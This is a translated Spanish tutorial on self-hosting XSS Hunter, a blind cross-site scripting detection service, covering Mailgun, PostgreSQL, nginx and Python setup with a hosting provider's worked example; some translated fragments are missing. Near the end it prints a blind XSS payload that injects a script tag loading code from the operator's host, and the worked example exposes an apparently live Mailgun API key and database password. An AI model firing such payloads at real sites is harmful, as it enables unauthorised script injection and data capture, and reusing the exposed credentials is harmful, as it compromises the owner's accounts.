Instalación de XSS Hunter

Publicamos la traducción del artículo Instalación de XSS Hunter y verificamos las instrucciones con nuestro propio ejemplo.



Spoiler: ¡ Todo funciona!






¿Por qué XSS Hunter?



Muchos lectores probablemente ya sepan que puede registrarse en https://xsshunter.com/ y usar xsshunter de forma gratuita. En pocas palabras, esta es una herramienta que se utiliza principalmente para búsquedas XSS ciegas . Entonces, ¿por qué implementar su propio servicio para esta tarea?



  1. Todo esta bajo control. Si algo sale mal, puede verificar e investigar el problema.
  2. Estabilidad. Usted sabe con certeza si el servicio está funcionando o no. Puede decidir por sí mismo cuándo detenerlo. Imagine que tiene cientos de conjuntos de datos listos para su ejecución y el propietario del servicio lo apaga de repente. ¡Sería triste!
  3. Tú tienes el control de los datos. A las empresas generalmente no les gustan los cazadores de errores que usan soluciones de terceros, porque en este caso no pueden verificar si los datos se han eliminado o no.


Bono: gracias al artículo, descubrirás cómo funciona todo.

Si este artículo no es suficiente para usted, le recomendamos leer el trabajo de nuestros colegas de Jet Infosystems.






¿Cómo utilizar?



Se puede encontrar una guía para usar XSS Hunter en el sitio de GitHub de XSS Hunter .



Este es un gran comienzo, pero esta guía está un poco desactualizada. La situación es la misma con el código base, por lo que tuve que cambiar algunas cosas para que funcionaran en Ubuntu 18.04. En este artículo te diré cómo trabajar con XSS Hunter después de todo.



Los primeros pasos



En este punto, estoy usando la guía oficial como base.



También asumimos que tiene un servidor en funcionamiento y una experiencia básica en administración de servidores. A pesar de esto, todavía intentaré profundizar más. ¡Siéntase libre de hacer preguntas!



Necesitaremos:



  • VPS u otro lugar para albergar el servicio


Repetimos las instrucciones del autor usando el ejemplo de VDS Timeweb: timeweb.com/ru/services/vds . Más adelante en el artículo, compartimos lo que obtuvimos en cada etapa, en spoilers ocultos.


  • Nombre de dominio (puede encontrarlo y comprarlo fácilmente. Por ejemplo, 1 , 2 , 3 )


Tenemos: timeweb.com/ru/services/domains .


  • Wildcard-. , , . .


:





XSS Hunter



mailgun



1. Registre una cuenta de mailgun aquí . No olvide desmarcar la casilla que se indica a continuación en la captura de pantalla.







2. Siga las instrucciones para verificar su dirección de correo electrónico y número de teléfono.



3. Vaya a la pestaña de envío y seleccione su dominio de correo.







4. En la parte superior derecha de la pantalla, agregue las direcciones de correo electrónico donde desea recibir alertas. Esta debe ser su dirección real y actual. Por ejemplo john.doe@gmail.com.



5. Después de completar lo anterior, presione el botón "Seleccionar" en el bloque resaltado por la etiqueta API.



6. Anote la clave de API y el dominio de correo electrónico. ¡Los necesitará pronto!



El dominio de correo electrónico es la última parte de la URL base de la API: sandboxe678 .



Usando VDS Timeweb como ejemplo
: sandbox82f7e729ed934d1189bcc6bd32aaa977.







7. Abra el correo y busque la carta de mailgun.



8. Confirme su dirección de correo electrónico haciendo clic en el enlace del correo electrónico.



(La carta se enviará a la dirección que especificó en el paso 4, es decir, en nuestro caso, a john.doe@gmail.com).



Asegúrate de que todo funcione



Utilice el siguiente comando para enviar correo electrónico desde su servidor y asegurarse de que el servicio se esté ejecutando.



Reemplaza:



[API_KEY] : tu clave API

[API_BASE_URL] : tu URL base API

[YOUR_EMAIL] : tu correo electrónico real



Por ejemplo: john.doe@gmail.com .



curl -s --user 'api:[API_KEY]' \
	https://api.mailgun.net/v3/[API_BASE_URL]/messages \
	-F from='Excited User <mailgun@[API_BASE_URL]>' \
	-F to=[YOUR_EMAIL] \
	-F subject='Hello' \
	-F text='Testing some Mailgun awesomeness!'


Nota : La versión de la UE del servicio tiene una URL diferente. Una búsqueda rápida en Google o comprobar su cuenta de mailgun le dirá exactamente qué cambiar.



Nota del experto en Timeweb
curl:



curl -s --user 'api:67ee2b8a922268ac335eb00262b33711-9b1bf5d3-919027d8' \https://api.mailgun.net/v3/sandbox82f7e729ed934d1189bcc6bd32aaa977.mailgun.org/messages \
	-F from='Excited User <mailgun@sandbox82f7e729ed934d1189bcc6bd32aaa977.mailgun.org>' \
	-F to=r.tkach@timeweb.ru \
	-F subject='' \
	-F text='   MailGun'


:



{
  "id": "<20201029124602.1.C81E1E4029FB7DC4@sandbox82f7e729ed934d1189bcc6bd32aaa977.mailgun.org>",
  "message": "Queued. Thank you."
}




Verifique su cuenta para asegurarse de haber recibido un correo electrónico como en el siguiente ejemplo. Si no hay correo electrónico, debe solucionar el problema antes de continuar con el siguiente paso.



Configurar dependencias



Primero instale los paquetes requeridos:



# install dependencies
sudo apt-get install nginx && sudo apt-get install postgresql postgresql-contrib


Usando VDS Timeweb como ejemplo
root@372526-twosa:~#  apt-get install nginx && apt-get install postgresql postgresql-contrib




A continuación, configure el usuario y la base de datos de postgres para XSS Hunter. Cambie EXAMPLE_PASSWORD por una contraseña más segura. ¡Recomiendo encarecidamente usar un administrador de contraseñas!



sudo -i -u postgres
psql template1
CREATE USER xsshunter WITH PASSWORD 'EXAMPLE_PASSWORD';
CREATE DATABASE xsshunter;
\q
exit


Usando VDS Timeweb como ejemplo
root@372526-twosa:~# sudo -i -u postgres
postgres@372526-twosa:~$ psql template1
psql (10.14 (Ubuntu 10.14-0ubuntu0.18.04.1))
Type "help" for help.

template1=# create user xsshunter with password '6fhQg18YFrna2LbX2EDWHfLoewy32i';
CREATE ROLE
template1=# create database xsshunter;
CREATE DATABASE
template1=# \q




Instalación de servicio



Primero, clonamos el repositorio:



git clone https://github.com/mandatoryprogrammer/xsshunter
cd xsshunter


Usando VDS Timeweb como ejemplo
root@372526-twosa:~# git clone https://github.com/mandatoryprogrammer/xsshunter
root@372526-twosa:~# cd xsshunter




Tenga en cuenta : ¡Se requiere Python2! El repositorio no es compatible con Python3.



Para ejecutar el script de configuración, necesitamos agregar una dependencia adicional:



# install yaml support for python
sudo apt-get install pyyaml


Usando VDS Timeweb como ejemplo
root@372526-twosa:~/xsshunter# apt install python-pip
root@372526-twosa:~/xsshunter# pip install pyyaml




Gracias al usuario xYantix por proporcionar una solución funcional en esta solicitud de extracción .



Configuración del servicio



¡Bien, comencemos! Estamos listos para ejecutar el script de configuración.



# generate yaml config file
./generate_config.py


Usando VDS Timeweb como ejemplo
root@372526-twosa:~/xsshunter# ./generate_config.py




Te mostraré el proceso paso a paso. Para ver un ejemplo de la salida, vea el siguiente ejemplo. Agregué números para facilitar la navegación. De lo contrario, todo debería verse igual.



1. Ingrese su nombre de dominio. Usé midominio.com como ejemplo.



Usando VDS Timeweb como ejemplo
372526-twosa.tmweb.ru.



2. Ingrese la clave API de Mailgun que encontró y guardó anteriormente.



3. Ingrese su nombre de dominio Mailgun, que también anotó anteriormente. (Lo que comienza con una caja de arena).



4. Creo que podría ser cualquier cosa @ [nombre de dominio de Mailgun] , pero he seguido el nombre estándar de mailgun ya que el nombre realmente no importa aquí. Sugiero usar: mailgun @ [nombre de dominio de Mailgun]. Recuerde reemplazar [nombre de dominio Mailgun] por el suyo.



5. Esto es para que las personas denuncien un supuesto abuso de la herramienta. Su correo electrónico real y actual debe indicarse aquí. Por ejemplo: john.doe@gmail.com .



6. Si ha seguido todos los pasos de este artículo, simplemente ingrese xsshunter.



7. Ingrese la contraseña que eligió al crear la base de datos. Listado arriba como EXAMPLE_PASSWORD . Reemplaza el texto [YOUR_REALLY_SECURE_PASSWORD] con tu contraseña EXAMPLE_PASSWORD .



8. Como en el paso # 6, si siguió este tutorial, simplemente ingrese xsshunter.



¡Ups! ¡La configuración está completa!



Si alguna vez necesita cambiar estos valores, puede editarlos directamente en el archivo config.yaml.



__   __ _____ _____   _    _             _
\ \ / // ____/ ____| | |  | |           | |
 \ V /| (___| (___   | |__| |_   _ _ __ | |_ ___ _ __
  > <  \___ \\\\___ \  |  __  | | | | '_ \| __/ _ \ '__|
 / . \ ____) |___) | | |  | | |_| | | | | ||  __/ |
/_/ \_\_____/_____/  |_|  |_|\__,_|_| |_|\__\___|_|


	                                           Setup Utility

	(1)
   What is the base domain name you will be using?
	(ex. localhost, www.example.com)
	Domain? mydomain.com

	Great! Now let's setup your Mailgun account to send XSS alerts to.

	(2)
	Enter your API key:
	(ex. key-8da843ff65205a61374b09b81ed0fa35)
	Mailgun API key: 92740xxxxxxxxxxxxxxxxxxxxxxxxxxx-65bxxx58-8ffxxxxx

	(3)
	What is your Mailgun domain?
	(ex. example.com)
	Mailgun domain: sandboxe6784d1f69d9486484bb8db10ab02380.mailgun.org

	(4)
   What email address is sending the payload fire emails?:
	(ex. no-reply@example.com)
	Sending email address: 
mailgun@sandboxe6784d1f69d9486484bb8db10ab02380.mailgun.org

	(5)
   Where should abuse/contact emails go?:
	(ex. yourpersonal@gmail.com)
	Abuse/Contact email: xsshunter@mydomain.com

        (6)
	What postgres user is this service using?
	(ex. xsshunter)
	Postgres username: xsshunter

	(7)
	What is the postgres user's password?
	(ex. @!$%@^%UOFGJOEJG$)
	Postgres password: [YOUR_REALLY_SECURE_PASSWORD]

	(8)
	What is the postgres user's DB?
	(ex. xsshunter)
	Postgres DB: xsshunter

	Generating cookie secret...
	Minting new nginx configuration file...

	Setup complete! Please now copy the 'default' file to 
/etc/nginx/sites-enabled/default
	This can be done by running the following:
	sudo cp default /etc/nginx/sites-enabled/default

	Also, please ensure your wildcard SSL certificate and key are available at 
the following locations:
	/etc/nginx/ssl/mydomain.com.crt; # Wildcard SSL certificate
	/etc/nginx/ssl/mydomain.com.key; # Wildcard SSL key

	Good luck hunting for XSS!


Usando VDS Timeweb como ejemplo
  	Setup Utility

What is the base domain name you will be using?
(ex. localhost, www.example.com)
Domain? 372526-twosa.tmweb.ru
Great! Now let's setup your Mailgun account to send XSS alerts to.

Enter your API key:
(ex. key-8da843ff65205a61374b09b81ed0fa35)
Mailgun API key: 67ee**************************-9b*******-919*****

What is your Mailgun domain?
(ex. example.com)
Mailgun domain: sandbox82f7e729ed934d1189bcc6bd32aaa977.mailgun.org

What email address is sending the payload fire emails?:
(ex. no-reply@example.com)
Sending email address: mailgun@sandbox82f7e729ed934d1189bcc6bd32aaa977.mailgun.org

Where should abuse/contact emails go?:
(ex. yourpersonal@gmail.com)
Abuse/Contact email: r.tkach@timeweb.ru


What postgres user is this service using?
(ex. xsshunter)
Postgres username: xsshunter

What is the postgres user's password?
(ex. @!$%@^%UOFGJOEJG$)
Postgres password: [EXAMPLE_PASSWORD]

What is the postgres user's DB?
(ex. xsshunter)
Postgres DB: xsshunter

Generating cookie secret...
Minting new nginx configuration file...

Setup complete! Please now copy the 'default' file to /etc/nginx/sites-enabled/default
This can be done by running the following:
sudo cp default /etc/nginx/sites-enabled/default

Also, please ensure your wildcard SSL certificate and key are available at the following locations:
/etc/nginx/ssl/xsshunter.timeweb.ru.crt; # Wildcard SSL certificate
/etc/nginx/ssl/xsshunter.timeweb.ru.key; # Wildcard SSL key

Good luck hunting for XSS!
                                                    	-mandatory




Ahora debería tener 2 archivos nuevos en su carpeta xsshunter:



  • config.yaml (contiene claves API y credenciales)
  • predeterminado (contiene la configuración de nginx)


Configuración NGINX



Cambiar la ubicación del certificado SSL



Si está utilizando Let's Encrypt como yo, debe modificar el valor predeterminado .



Para que la configuración funcione con la configuración predeterminada de Let's Encrypt, debemos comentar todas las entradas:



/etc/nginx/ssl/mydomain.com.crt; # Wildcard SSL certificate
/etc/nginx/ssl/mydomain.com.key; # Wildcard SSL key


y reemplazar con



ssl_certificate /etc/letsencrypt/live/mydomain.com-0001/fullchain.pem ; # managed by Certbot
ssl_certificate_key /etc/letsencrypt/live/mydomain.com-0001/privkey.pem; # managed by Certbot


Notas:



1. Reemplace midominio.com con su nombre de dominio.



2. Todo lo que sigue al símbolo # son comentarios. Puede eliminarlos si lo desea.



Su archivo predeterminado ahora debería verse así:



server {
    # Redirect HTTP to www
    listen 80;
    server_name mydomain.com;
    location / {
        rewrite ^/(.*)$ https://www.mydomain.com/$1 permanent;
    }
}

server {
    # Redirect payloads to HTTPS
    listen 80;
    server_name *.mydomain.com;
    proxy_set_header X-Forwarded-For $remote_addr;

    return 307 https://$host$request_uri;
    client_max_body_size 500M; # In case we have an extra large payload capture
}

server {
    # Redirect HTTPS to www
    listen 443;
    ssl on;

    # New conf
    ssl_certificate /etc/letsencrypt/live/mydomain.com-0001/fullchain.pem; # 
managed by Certbot
    ssl_certificate_key /etc/letsencrypt/live/mydomain.com-0001/privkey.pem; # 
managed by Certbot

    # Original conf
    #ssl_certificate /etc/nginx/ssl/mydomain.com.crt; # Wildcard SSL certificate
    #ssl_certificate_key /etc/nginx/ssl/mydomain.com.key; # Wildcard SSL 
certificate key

    server_name mydomain.com;
    location / {
        rewrite ^/(.*)$ https://www.mydomain.com/$1 permanent;
    }
}

server {
    # API proxy
    listen 443;
    ssl on;

    # New conf
    ssl_certificate /etc/letsencrypt/live/mydomain.com-0001/fullchain.pem; # 
managed by Certbot
    ssl_certificate_key /etc/letsencrypt/live/mydomain.com-0001/privkey.pem; # 
managed by Certbot

    # Original conf
    #ssl_certificate /etc/nginx/ssl/mydomain.com.crt; # Wildcard SSL certificate
    #ssl_certificate_key /etc/nginx/ssl/mydomain.com.key; # Wildcard SSL 
certificate key

    server_name *.mydomain.com;
    access_log /var/log/nginx/mydomain.com.vhost.access.log;
    error_log /var/log/nginx/mydomain.com.vhost.error.log;

    client_max_body_size 500M;

    location / {
        proxy_pass  http://localhost:8888;
        proxy_set_header Host $host;
        proxy_set_header X-Forwarded-For $remote_addr;
    }
}

server {
    # Redirect api to HTTPS
    listen 80;
    server_name api.mydomain.com; # Subdomain for API server
    proxy_set_header X-Forwarded-For $remote_addr;

    return 307 https://api.mydomain.com$request_uri;
    client_max_body_size 500M; # In case we have an extra large payload capture
}

server {
   # Redirect www to HTTPS
   listen 80;
   server_name www.mydomain.com;
   location / {
       rewrite ^/(.*)$ https://www.mydomain.com/$1 permanent;
   }
}

server {
   # GUI proxy
   listen 443;
   server_name www.mydomain.com;
   client_max_body_size 500M;
   ssl on;

   # New conf
   ssl_certificate /etc/letsencrypt/live/mydomain.com-0001/fullchain.pem; # 
managed by Certbot
   ssl_certificate_key /etc/letsencrypt/live/mydomain.com-0001/privkey.pem; # 
managed by Certbot

   # Original conf
   #ssl_certificate /etc/nginx/ssl/mydomain.com.crt; # Wildcard SSL certificate
   #ssl_certificate_key /etc/nginx/ssl/mydomain.com.key; # Wildcard SSL 
certificate key


   location / {
       proxy_pass  http://localhost:1234;
       proxy_set_header Host $host;
   }
}


Usando VDS Timeweb como ejemplo
server {
	# Redirect HTTP to www
	listen 80;
	server_name 372526-twosa.tmweb.ru;
	location / {
    	rewrite ^/(.*)$ https://www.372526-twosa.tmweb.ru/$1 permanent;
	}
}

server {
	# Redirect payloads to HTTPS
	listen 80;
	server_name *.372526-twosa.tmweb.ru;
	proxy_set_header X-Forwarded-For $remote_addr;

	return 307 https://$host$request_uri;
	client_max_body_size 500M; # In case we have an extra large payload capture
}

server {
	# Redirect HTTPS to www
	listen 443;
	ssl on;
    
	ssl_certificate /etc/letsencrypt/live/372526-twosa.tmweb.ru/fullchain.pem; # Wildcard SSL certificate
	ssl_certificate_key /etc/letsencrypt/live/372526-twosa.tmweb.ru/privkey.pem; # Wildcard SSL certificate key
    
	server_name 372526-twosa.tmweb.ru;
	location / {
    	rewrite ^/(.*)$ https://www.372526-twosa.tmweb.ru/$1 permanent;
	}
}

server {
	# API proxy
	listen 443;
	ssl on;
    
	ssl_certificate /etc/letsencrypt/live/372526-twosa.tmweb.ru/fullchain.pem; # Wildcard SSL certificate
	ssl_certificate_key /etc/letsencrypt/live/372526-twosa.tmweb.ru/privkey.pem; # Wildcard SSL certificate key

	server_name *.372526-twosa.tmweb.ru;
	access_log /var/log/nginx/372526-twosa.tmweb.ru.vhost.access.log;
	error_log /var/log/nginx/372526-twosa.tmweb.ru.vhost.error.log;

	client_max_body_size 500M;

	location / {#
    	proxy_pass  http://localhost:8888;
    	proxy_set_header Host $host;
    	proxy_set_header X-Forwarded-For $remote_addr;
	}
}

server {
	# Redirect api to HTTPS
	listen 80;
	server_name api.372526-twosa.tmweb.ru; # Subdomain for API server
	proxy_set_header X-Forwarded-For $remote_addr;

	return 307 https://api.372526-twosa.tmweb.ru$request_uri;
	client_max_body_size 500M; # In case we have an extra large payload capture
}

server {
   # Redirect www to HTTPS
   listen 80;
   server_name www.372526-twosa.tmweb.ru;
   location / {
   	rewrite ^/(.*)$ https://www.372526-twosa.tmweb.ru/$1 permanent;
   }
}

server {
   # GUI proxy
   listen 443;
   server_name www.372526-twosa.tmweb.ru;
   client_max_body_size 500M;
   ssl on;
   
	ssl_certificate /etc/letsencrypt/live/372526-twosa.tmweb.ru/fullchain.pem; # Wildcard SSL certificate
	ssl_certificate_key /etc/letsencrypt/live/372526-twosa.tmweb.ru/privkey.pem; # Wildcard SSL certificate key

   location / {
   	proxy_pass  http://localhost:1234;
   	proxy_set_header Host $host;
   }
}




Apliquemos la configuración de NGINX



El siguiente paso es mover el archivo a la carpeta nginx. Se considera una buena práctica tener archivos de configuración en la carpeta ... / sites-available y luego crear enlaces simbólicos a las configuraciones que está utilizando para ... / sites-enabled . Haremos precisamente eso.



Nombre el archivo de configuración para que quede claro a partir del nombre a qué servicio pertenece.



¡He aquí cómo hacerlo!



# move file and give proper name
cp xsshunter/default /etc/nginx/sites-available/xsshunter-mydomain.com

# symlink the file to sites-enabled to make it active
ln -s /etc/nginx/sites-available/xsshunter-mydomain.com 
/etc/nginx/sites-enabled/xsshunter-mydomain.com

# test for errors in the configuration
sudo nginx -t

# if no errors, restart nginx for changes to take effect
sudo systemctl restart nginx


Usando VDS Timeweb como ejemplo
root@372526-twosa:~/xsshunter# cp default /etc/nginx/sites-available/372526-twosa.tmweb.ru
root@372526-twosa:~/xsshunter# ln /etc/nginx/sites-available/372526-twosa.tmweb.ru /etc/nginx/sites-enabled/372526-twosa.tmweb.ru
root@372526-twosa:~/xsshunter# nginx -t
root@372526-twosa:~/xsshunter# systemctl restart nginx




Si nunca ha iniciado nginx antes, el último comando debería ser:



sudo systemctl start nginx


Instalación del servidor API



Primero, el servidor de API también necesita ciertas dependencias.



El manual dice que ejecute el siguiente comando:



sudo apt-get install python-virtualenv python-dev libpq-dev libffi-dev


Usando VDS Timeweb como ejemplo
root@372526-twosa:~/xsshunter# apt-get install python-virtualenv python-dev libpq-dev libffi-dev


, python-virtualenv pip.




¡Inténtalo de nuevo!



Desafortunadamente, no pude ejecutar el comando virtualenv , así que instalé el servidor API con



pip install virtualenv


Problema resuelto, ¡pude continuar!

Vayamos al directorio deseado.

Una vez en el directorio correcto, debe crear un entorno virtual.

He aquí cómo hacerlo:



# change folder - you know that already!
cd xsshunter/api

# find your Python2 executable path
which python2

# create a python2 virtual environment in the env folder
virtualenv -p MY/EXECUTABLE/PATH env


Usando VDS Timeweb como ejemplo
root@372526-twosa:~/xsshunter# cd xsshunter/api
root@372526-twosa:~/xsshunter/api# which python2
/usr/bin/python2
root@372526-twosa:~/xsshunter/api# virtualenv -p /usr/bin/python2 env
Running virtualenv with interpreter /usr/bin/python2
New python executable in /root/xsshunter/api/env/bin/python2
Also creating executable in /root/xsshunter/api/env/bin/python
Installing setuptools, pkg_resources, pip, wheel...done.




Asegúrese de cambiar MY / EXECUTABLE / PATH en el último comando a la salida del comando python2 . Para mí, esto es: / usr / bin / python2 .



Una vez que hayamos creado el entorno virtual, actívelo con el siguiente comando. Debería notar un cambio en su línea de comando.



# activate environment
. env/bin/activate


Usando VDS Timeweb como ejemplo
root@372526-twosa:~/xsshunter/api# . env/bin/activate
(env) root@372526-twosa:~/xsshunter/api# ls
apiserver.py  env  logs  models  probe.js  requirements.txt  templates








También existen problemas de dependencia ya que el repositorio no se mantiene de forma activa.



Por lo tanto, debemos realizar los siguientes cambios en el archivo requirements.txt :



1. psycopg2 2.6.1 == => psycopg2 == 2.7.3.1

2. bcrypt 2.0.0 == => bcrypt == 3.1.7



Utilice su editor de texto favorito para esto. Estoy usando VIM.



Una vez hecho esto, es hora de instalar todas las dependencias e iniciar el servidor API para asegurarse de que todo funciona como se esperaba. ¡Intentemos!



# install requirements
pip install -r requirements.txt

# run the API server
./apiserver.py


Usando VDS Timeweb como ejemplo
(env) root@372526-twosa:~/xsshunter/api# pip install -r requirements.txt
(env) root@372526-twosa:~/xsshunter/api# ./apiserver.py




El comando de instalación debería generar los datos. El servidor api no debería generar nada. ¡Ningún retiro es una buena noticia!



Queremos hacer un cambio más antes de terminar de configurar el servidor api. Inicialmente escucha en la interfaz 0.0.0.0 , pero usamos proxy a través de NGINX. Esto significa que no tiene sentido. Configuraremos el servidor para escuchar en localhost . Esto evitará confusiones y problemas.



Con un editor de texto, cambie la línea 684 en apiserver.py de

app.listen (8888) a app.listen (8888, "localhost") .



Gracias a swarley7 por compartir la solución en esta solicitud de extracción .



Finalmente: error donde las cargas no funcionan como se esperaba si la carpeta / uploads no existe. Esto lo comparte sampsonc en esta solicitud de extracción .



¡Creemos una carpeta y continuemos!



# create uploads folder
mkdir xsshunter/api/uploads


Instalación del servidor GUI



Este proceso es muy similar al proceso en el servidor api, solo que más simple.



Vaya a la carpeta de la interfaz gráfica de usuario, cree un entorno virtual, actívelo e instale las dependencias.



# change folder - you know that already!
cd xsshunter/gui

# find your Python2 executable path
which python2

# create a python2 virtual environment in the env folder
virtualenv -p MY/EXECUTABLE/PATH env

# activate environment
. env/bin/activate

# install requirements
pip install -r requirements.txt

# run the GUI server
./guiserver.py


Usando VDS Timeweb como ejemplo
root@372526-twosa:~/xsshunter# cd xsshunter/gui
root@372526-twosa:~/xsshunter/gui# which python2
/usr/bin/python2
(env) root@372526-twosa:~/xsshunter/gui# virtualenv -p /usr/bin/python2 env
(env) root@372526-twosa:~/xsshunter/gui# . env/bin/activate
(env) root@372526-twosa:~/xsshunter/gui# pip install -r requirements.txt
(env) root@372526-twosa:~/xsshunter/gui# ./guiserver.py




Nuevamente, lo mismo que al instalar el servidor API:



asegúrese de cambiar MY / EXECUTABLE / PATH en el último comando a what python2. Para mí, esto es: / usr / bin / python2 .



Aquí, también, la falta de salida cuando se ejecuta ./guiserver es una buena noticia.



Además, al igual que con el servidor API, queremos proxy todas las conexiones a través de NGINX, por lo que el servidor no necesita escuchar en la interfaz 0.0.0.0 .



Con un editor de texto, cambie la línea 70 en guiserver.py de

app.listen (1234) a app.listen (1234, "localhost").



Toques finales



El primer paso es iniciar ambos servidores. La publicación original del blog sugiere usar tmux. No es perfecto para la producción, pero somos hackers, ¡así que hagámoslo de todos modos! Si desea un servicio más estable, se lo dejo como ejercicio.



Aquí se explica cómo ponerlo en funcionamiento con tmux. Si necesitas ayuda, ¡aquí hay una gran hoja de trucos !



# start a session
tmux session -new xsshunter

# change to api directory
cd xsshunter/api

#run api server
./apiserver

# open new pane
[ctrl]+[b] -> [c]

# change to gui directory
cd xsshunter/gui

# run gui server
./guiserver

# detach from session
[ctrl]+[b] -> [d]

# extra: if you want to open the session again
tmux attach-session -t xsshunter


¡Y el último!



¡Abra su dominio y vea si la página xsshunter lo saluda!

Debería verse igual que la primera página de xsshunter.com .



¿Sucedió? ¡Felicidades!

¡Es hora de servir cerveza por copa!







Comprobar el rendimiento
(https://www.372526-twosa.tmweb.ru/signup) .







www.372526-twosa.tmweb.ru/app Payload - . :



"><script src=https://tw.372526-twosa.tmweb.ru></script>


html- .







: js , , js_callback .







XSS Hunter:







:







It works! !



: www.372526-twosa.tmweb.ru.



Si aún no ha visto Entourage, ¡puede comenzar ahora!



Conclusión



No me gusta ejecutar algo como root o como un usuario normal, así que para ejecutarlo como www-data hice el siguiente script para hacerlo un poco más fácil.



Reemplace apiserver.py con guiserver.py para que tenga un script para cada servidor. Me alegraré si usa esta técnica.



Script de shell para usar el entorno virtual e iniciar el servidor API:



#!/bin/sh
. env/bin/activate && python apiserver.py


Ejecutando el script como www-data por razones de seguridad:



# execute script above as www-data user
sudo -u www-data ./run.sh


¡Hecho!



Gracias por la atención. ¡Espero que haya sido útil!



All Articles